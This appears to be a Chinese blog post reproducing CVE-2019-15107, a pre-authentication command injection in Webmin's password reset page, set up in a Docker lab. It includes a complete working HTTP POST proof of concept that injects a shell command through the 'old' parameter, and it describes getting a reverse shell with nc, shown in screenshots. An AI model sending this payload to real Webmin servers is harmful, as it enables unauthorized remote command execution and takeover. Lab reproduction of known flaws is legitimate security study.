CVE-2019-15107 Webmin远程命令执行漏洞复现

漏洞概括

Webmin的是一个用于管理类Unix的系统的管理配置工具,具有网络页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。它已知在端口10000上运行。在重置密码功能中发现了一个错误,该错误允许恶意第三方由于缺少输入验证而执行恶意代码。
影响版本:

Webmin <= 1.920

环境搭建

自己用docker搭了个1.910版本的Webmin,具体操作…
漏洞的触发需要开启密码重置功能,需要把允许用户使用旧密码设置新密码的选项给选上。
登录之后,在Webmin Configuration里的Authentication下,有Password expiry policy选项,选上Prompt users with expired passwords to enter a new one,再重启Webmin即可!

漏洞利用

PoC:

POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

可以直接用PoC来注入命令,也可以访问/password_change.cgi链接,抓包注入命令
在这里插入图片描述
user处用户可以为空,也可以为webmin用户,也可以是假用户,不存在的用户,都能够注入命令,唯独不可以用root用户来注入,这会导致注入失败。
这里成功运行命令id,我们甚至可以用nc反弹shell,先看看有没有nc命令
在这里插入图片描述
&& 符号表示,如果第一个命令成功执行,则执行第二个命令
这里nc后面接着用到了echo命令,但显然nc命令没有执行成功,我们帮他安!
在这里插入图片描述
安装好后,用nc命令反弹shell
在这里插入图片描述
在这里插入图片描述
成功获取权限…

补充:

而在1.890版本中,漏洞点的触发只需要传一个expired参数执行命令即可,不需要之前的passwd_mode=2(即开启Prompt users with expired passwords to enter a new one)的必要条件。

参考文章:https://blog.csdn.net/qq_43380549/article/details/100011292

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值